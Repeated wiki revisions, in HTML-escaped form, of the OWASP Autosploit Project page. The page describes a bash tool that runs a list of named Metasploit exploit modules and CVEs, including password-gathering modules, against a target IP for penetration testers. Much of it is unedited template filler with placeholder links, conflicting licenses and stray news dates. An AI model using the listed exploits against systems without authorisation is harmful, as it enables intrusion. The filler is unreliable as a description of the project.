| style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
http://github.com/rootup/&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
Project leader's name:&lt;br /&gt;
&lt;br /&gt;
[[Dhiraj.mishra@owasp.org|Dhiraj Mishra]]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
* [[OWASP_Code_Project_Template]]&lt;br /&gt;
* [[OWASP_Documentation_Project_Template]]&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot; width=&amp;quot;50%&amp;quot; valign=&amp;quot;top&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | width=&amp;quot;50%&amp;quot; valign=&amp;quot;top&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | width=&amp;quot;50%&amp;quot; valign=&amp;quot;top&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Agplv3-155x51.png|link=http://www.gnu.org/licenses/agpl-3.0.html|Affero General Public License 3.0]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;padding-left:25px;width:200px;&amp;quot; valign=&amp;quot;top&amp;quot; | &lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [12 Feb 2013] Support for Spanish is now available with this release.&lt;br /&gt;
* [11 Jan 2014] The 1.0 stable version has been released! Thanks everyone for your feedback and code fixes that made this happen!&lt;br /&gt;
* [18 Dec 2013] 1.0 Release Candidate is available for download.  This release provides final bug fixes and product stabilization.  Any feedback (good or bad) in the next few weeks would be greatly appreciated.&lt;br /&gt;
* [20 Nov 2013] 1.0 Beta 2 Release is available for download. This release offers several bug fixes, a few performance improvements, and addressed all outstanding issues from a security audit of the code.&lt;br /&gt;
* [30 Sep 2013] 1.0 Beta 1 Release is available for download.  This release offers the first version with all of the functionality for a minimum viable product.     &lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here].&lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of &amp;lt;strong&amp;gt;November, 2013, the highest priorities for the next 6 months&amp;lt;/strong&amp;gt; are:&lt;br /&gt;
&amp;lt;strong&amp;gt;&amp;lt;/strong&amp;gt;For now the Road Map will be :&lt;br /&gt;
&lt;br /&gt;
Handle Exeception, Add banner, Add more modules from MSF, Optimize Code.&lt;br /&gt;
* Complete the first draft of the Tool Project Template&lt;br /&gt;
* Get other people to review the Tool Project Template and provide feedback&lt;br /&gt;
* Incorporate feedback into changes in the Tool Project Template&lt;br /&gt;
* Finalize the Tool Project template and have it reviewed to be promoted from an Incubator Project to a Lab Project&lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
* Additional Unit Tests&lt;br /&gt;
* Automated Regression tests&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please use the [https://lists.owasp.org/mailman/listinfo/OWASP_Tool_Project_Template Tool Project Template project mailing list] for feedback about:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;__NOTOC__ &amp;lt;headertabs&amp;gt;&amp;lt;/headertabs&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  &lt;br /&gt;
[[Category:OWASP_Builders]] &lt;br /&gt;
[[Category:OWASP_Defenders]]  &lt;br /&gt;
[[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Autosploit_Project&amp;diff=233513</id>
		<title>OWASP Autosploit Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Autosploit_Project&amp;diff=233513"/>
				<updated>2017-09-20T05:51:42Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Classifications */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
==OWASP Autosploit Tool Project ==&lt;br /&gt;
OWASP Autosploit - Automates Metasploit Modules.&lt;br /&gt;
&lt;br /&gt;
Autosploit is a free and open test suite designed in bash to run various modules of Metaspolit on specific IP which will allow a Pentester for enumeration or during their pentesting, It is designed to be used by penetration testers, security auditors or server administrators.&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Template Project is a template designed to help Project Leaders create suitable project pages for OWASP Projects.  By following the instructional text in red (and then deleting it) it should be easier to understand what information OWASP and the project users are looking for.  And it's easy to get started by simply creating a new project from the appropriate project template.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
It Executes multiple MSF Modules on a target machine.&lt;br /&gt;
&lt;br /&gt;
MS08_067&lt;br /&gt;
&lt;br /&gt;
MS17_010&lt;br /&gt;
&lt;br /&gt;
MS03_026&lt;br /&gt;
&lt;br /&gt;
MS12_020&lt;br /&gt;
&lt;br /&gt;
MS10_061&lt;br /&gt;
&lt;br /&gt;
MS09_050&lt;br /&gt;
&lt;br /&gt;
MS06_040&lt;br /&gt;
&lt;br /&gt;
MS05_039&lt;br /&gt;
&lt;br /&gt;
MS12_020&lt;br /&gt;
&lt;br /&gt;
OSVDB-73573&lt;br /&gt;
&lt;br /&gt;
CVE-2017-5689&lt;br /&gt;
&lt;br /&gt;
CVE-2012-1823&lt;br /&gt;
&lt;br /&gt;
CVE-2006-2369&lt;br /&gt;
&lt;br /&gt;
CVE-2009-3843&lt;br /&gt;
&lt;br /&gt;
SMB Session Pipe Auditor&lt;br /&gt;
&lt;br /&gt;
Gathering GPP Saved Passwords&lt;br /&gt;
&lt;br /&gt;
Checks for multiple auxiliary modules&lt;br /&gt;
&lt;br /&gt;
Execute MSF Modules on a target machine if application up an running.&lt;br /&gt;
&lt;br /&gt;
WMAP&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template is simply a sample project that was developed for instructional purposes that can be used to create default project pages for a Tool project.  After copying this template to your new project, all you have to do is follow the instructions in red, replace the sample text with text suited for your project, and then delete the sections in red.  Doing so should make it clearer to both consumers of this project, as well as OWASP reviewers who are trying to determine if the project can be promoted to the next category.  The information requested is also intended to help Project Leaders think about the roadmap and feature priorities, and give guidance to the reviews as a result of that effort.&lt;br /&gt;
&lt;br /&gt;
Creating a new set of project pages from scratch can be a challenging task.  By providing a sample layout, with instructional text and examples, the OWASP Tool Project Template makes it easier for Project Leaders to create effective security projects and hence helps promote security.&lt;br /&gt;
&lt;br /&gt;
Contextual custom dictionary builder with character substitution and word variations for pen-testers&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
Apache 2.0 License&lt;br /&gt;
&lt;br /&gt;
This program is free software: you can redistribute it and/or modify it under the terms of the [http://www.gnu.org/licenses/agpl-3.0.html link GNU Affero General Public License 3.0] as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.  OWASP XXX and any contributions are Copyright &amp;amp;copy; by {the Project Leader(s) or OWASP} {Year(s)}.  &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
http://github.com/rootup/&lt;br /&gt;
&lt;br /&gt;
COMPLETE the links below&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Installation Package]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Source Code]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves What's New (Revision History)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Wiki Home Page]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Slide Presentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Video]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
Project leader's name:&lt;br /&gt;
&lt;br /&gt;
[[Dhiraj.mishra@owasp.org|Dhiraj Mishra]]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
* [[OWASP_Code_Project_Template]]&lt;br /&gt;
* [[OWASP_Documentation_Project_Template]]&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot; width=&amp;quot;50%&amp;quot; valign=&amp;quot;top&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | width=&amp;quot;50%&amp;quot; valign=&amp;quot;top&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | width=&amp;quot;50%&amp;quot; valign=&amp;quot;top&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Agplv3-155x51.png|link=http://www.gnu.org/licenses/agpl-3.0.html|Affero General Public License 3.0]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;padding-left:25px;width:200px;&amp;quot; valign=&amp;quot;top&amp;quot; | &lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [12 Feb 2013] Support for Spanish is now available with this release.&lt;br /&gt;
* [11 Jan 2014] The 1.0 stable version has been released! Thanks everyone for your feedback and code fixes that made this happen!&lt;br /&gt;
* [18 Dec 2013] 1.0 Release Candidate is available for download.  This release provides final bug fixes and product stabilization.  Any feedback (good or bad) in the next few weeks would be greatly appreciated.&lt;br /&gt;
* [20 Nov 2013] 1.0 Beta 2 Release is available for download. This release offers several bug fixes, a few performance improvements, and addressed all outstanding issues from a security audit of the code.&lt;br /&gt;
* [30 Sep 2013] 1.0 Beta 1 Release is available for download.  This release offers the first version with all of the functionality for a minimum viable product.     &lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here].&lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of &amp;lt;strong&amp;gt;November, 2013, the highest priorities for the next 6 months&amp;lt;/strong&amp;gt; are:&lt;br /&gt;
&amp;lt;strong&amp;gt;&amp;lt;/strong&amp;gt;For now the Road Map will be :&lt;br /&gt;
&lt;br /&gt;
Handle Exeception, Add banner, Add more modules from MSF, Optimize Code.&lt;br /&gt;
* Complete the first draft of the Tool Project Template&lt;br /&gt;
* Get other people to review the Tool Project Template and provide feedback&lt;br /&gt;
* Incorporate feedback into changes in the Tool Project Template&lt;br /&gt;
* Finalize the Tool Project template and have it reviewed to be promoted from an Incubator Project to a Lab Project&lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
* Additional Unit Tests&lt;br /&gt;
* Automated Regression tests&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please use the [https://lists.owasp.org/mailman/listinfo/OWASP_Tool_Project_Template Tool Project Template project mailing list] for feedback about:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;__NOTOC__ &amp;lt;headertabs&amp;gt;&amp;lt;/headertabs&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  &lt;br /&gt;
[[Category:OWASP_Builders]] &lt;br /&gt;
[[Category:OWASP_Defenders]]  &lt;br /&gt;
[[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Autosploit_Project&amp;diff=233512</id>
		<title>OWASP Autosploit Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Autosploit_Project&amp;diff=233512"/>
				<updated>2017-09-20T05:50:55Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* OWASP AuotSploit*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
==OWASP Autosploit Tool Project ==&lt;br /&gt;
OWASP Autosploit - Automates Metasploit Modules.&lt;br /&gt;
&lt;br /&gt;
Autosploit is a free and open test suite designed in bash to run various modules of Metaspolit on specific IP which will allow a Pentester for enumeration or during their pentesting, It is designed to be used by penetration testers, security auditors or server administrators.&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Template Project is a template designed to help Project Leaders create suitable project pages for OWASP Projects.  By following the instructional text in red (and then deleting it) it should be easier to understand what information OWASP and the project users are looking for.  And it's easy to get started by simply creating a new project from the appropriate project template.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
It Executes multiple MSF Modules on a target machine.&lt;br /&gt;
&lt;br /&gt;
MS08_067&lt;br /&gt;
&lt;br /&gt;
MS17_010&lt;br /&gt;
&lt;br /&gt;
MS03_026&lt;br /&gt;
&lt;br /&gt;
MS12_020&lt;br /&gt;
&lt;br /&gt;
MS10_061&lt;br /&gt;
&lt;br /&gt;
MS09_050&lt;br /&gt;
&lt;br /&gt;
MS06_040&lt;br /&gt;
&lt;br /&gt;
MS05_039&lt;br /&gt;
&lt;br /&gt;
MS12_020&lt;br /&gt;
&lt;br /&gt;
OSVDB-73573&lt;br /&gt;
&lt;br /&gt;
CVE-2017-5689&lt;br /&gt;
&lt;br /&gt;
CVE-2012-1823&lt;br /&gt;
&lt;br /&gt;
CVE-2006-2369&lt;br /&gt;
&lt;br /&gt;
CVE-2009-3843&lt;br /&gt;
&lt;br /&gt;
SMB Session Pipe Auditor&lt;br /&gt;
&lt;br /&gt;
Gathering GPP Saved Passwords&lt;br /&gt;
&lt;br /&gt;
Checks for multiple auxiliary modules&lt;br /&gt;
&lt;br /&gt;
Execute MSF Modules on a target machine if application up an running.&lt;br /&gt;
&lt;br /&gt;
WMAP&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template is simply a sample project that was developed for instructional purposes that can be used to create default project pages for a Tool project.  After copying this template to your new project, all you have to do is follow the instructions in red, replace the sample text with text suited for your project, and then delete the sections in red.  Doing so should make it clearer to both consumers of this project, as well as OWASP reviewers who are trying to determine if the project can be promoted to the next category.  The information requested is also intended to help Project Leaders think about the roadmap and feature priorities, and give guidance to the reviews as a result of that effort.&lt;br /&gt;
&lt;br /&gt;
Creating a new set of project pages from scratch can be a challenging task.  By providing a sample layout, with instructional text and examples, the OWASP Tool Project Template makes it easier for Project Leaders to create effective security projects and hence helps promote security.&lt;br /&gt;
&lt;br /&gt;
Contextual custom dictionary builder with character substitution and word variations for pen-testers&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
Apache 2.0 License&lt;br /&gt;
&lt;br /&gt;
This program is free software: you can redistribute it and/or modify it under the terms of the [http://www.gnu.org/licenses/agpl-3.0.html link GNU Affero General Public License 3.0] as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.  OWASP XXX and any contributions are Copyright &amp;amp;copy; by {the Project Leader(s) or OWASP} {Year(s)}.  &lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; valign=&amp;quot;top&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
http://github.com/rootup/&lt;br /&gt;
&lt;br /&gt;
COMPLETE the links below&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Installation Package]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Source Code]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves What's New (Revision History)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Wiki Home Page]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Slide Presentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SamanthaGroves Video]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
Project leader's name:&lt;br /&gt;
&lt;br /&gt;
[[Dhiraj.mishra@owasp.org|Dhiraj Mishra]]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
* [[OWASP_Code_Project_Template]]&lt;br /&gt;
* [[OWASP_Documentation_Project_Template]]&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot; width=&amp;quot;50%&amp;quot; valign=&amp;quot;top&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | width=&amp;quot;50%&amp;quot; valign=&amp;quot;top&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | width=&amp;quot;50%&amp;quot; valign=&amp;quot;top&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Agplv3-155x51.png|link=http://www.gnu.org/licenses/agpl-3.0.html|Affero General Public License 3.0]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
| style=&amp;quot;padding-left:25px;width:200px;&amp;quot; valign=&amp;quot;top&amp;quot; | &lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This is where you can provide project updates, links to any events like conference presentations, Project Leader interviews, case studies on successful project implementations, and articles written about your project. &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
* [12 Feb 2013] Support for Spanish is now available with this release.&lt;br /&gt;
* [11 Jan 2014] The 1.0 stable version has been released! Thanks everyone for your feedback and code fixes that made this happen!&lt;br /&gt;
* [18 Dec 2013] 1.0 Release Candidate is available for download.  This release provides final bug fixes and product stabilization.  Any feedback (good or bad) in the next few weeks would be greatly appreciated.&lt;br /&gt;
* [20 Nov 2013] 1.0 Beta 2 Release is available for download. This release offers several bug fixes, a few performance improvements, and addressed all outstanding issues from a security audit of the code.&lt;br /&gt;
* [30 Sep 2013] 1.0 Beta 1 Release is available for download.  This release offers the first version with all of the functionality for a minimum viable product.     &lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here].&lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of &amp;lt;strong&amp;gt;November, 2013, the highest priorities for the next 6 months&amp;lt;/strong&amp;gt; are:&lt;br /&gt;
&amp;lt;strong&amp;gt;&amp;lt;/strong&amp;gt;For now the Road Map will be :&lt;br /&gt;
&lt;br /&gt;
Handle Exeception, Add banner, Add more modules from MSF, Optimize Code.&lt;br /&gt;
* Complete the first draft of the Tool Project Template&lt;br /&gt;
* Get other people to review the Tool Project Template and provide feedback&lt;br /&gt;
* Incorporate feedback into changes in the Tool Project Template&lt;br /&gt;
* Finalize the Tool Project template and have it reviewed to be promoted from an Incubator Project to a Lab Project&lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
* Additional Unit Tests&lt;br /&gt;
* Automated Regression tests&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
